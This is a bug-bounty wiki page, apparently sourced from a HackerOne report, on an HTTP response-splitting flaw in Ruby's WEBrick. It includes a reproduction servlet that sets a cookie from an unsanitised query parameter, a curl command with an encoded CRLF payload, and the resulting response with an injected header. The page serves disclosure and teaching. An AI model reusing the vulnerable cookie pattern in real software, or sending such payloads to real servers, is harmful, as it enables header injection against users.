Response splitting vulnerability in WEBrick
WEBrick did not sanitise cookie values, so a query parameter with carriage return and line feed characters was written into the Set-Cookie header and split the response, injecting a header.
Originally disclosed on HackerOne
- Triaged in 19 months
- Fixed in 19 months
- Disclosed after 21 months
Hi,
WEBrick seems to be vulnerable to a response splitting attack. The reproduction script is very similar to the code shown on the owasp page:
require 'webrick'
class MyServlet < ::WEBrick::HTTPServlet::AbstractServlet
def service req, res
res.cookies << WEBrick::Cookie.new('author', req.query['author'])
res.body = 'hello world'
end
end
server = ::WEBrick::HTTPServer.new Port: 8080
server.mount "/", MyServlet
trap('INT') { server.shutdown }
server.start
From the command line do:
$ curl -i localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked
The response looks like this:
HTTP/1.1 200 OK
Server: WEBrick/1.3.1 (Ruby/2.4.0/2016-07-12)
Date: Mon, 25 Jul 2016 19:13:18 GMT
Content-Length: 11
Connection: Keep-Alive
Set-Cookie: author=Aaron
X-Foo: hacked
hello world
You can see the header has been injected. I've attached a patch to fix the issue.
Note: It seems like many Ruby webservers are vulnerable to this attack. So we may need to coordinate release.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the cookie value was placed into the Set-Cookie header without removing carriage return and line feed characters.
What the attacker needed
Application sets a cookie from user input; attacker can control the cookie value
The fix
The reporter attached a patch to fix the issue, but the text does not describe the patch.
How it was found
- Start a WEBrick server with a servlet that sets a cookie from a query parameter.
- Send a request where the author parameter contains encoded carriage return and line feed characters followed by a header name and value.
- Observe the response containing the injected header.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web server sends a response, it separates the headers from the body with a blank line. If user input containing newline characters is placed into a header, an attacker can insert extra headers or even a fake body. Here the cookie value came straight from the URL and was not cleaned, so the injected newlines created a new header.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.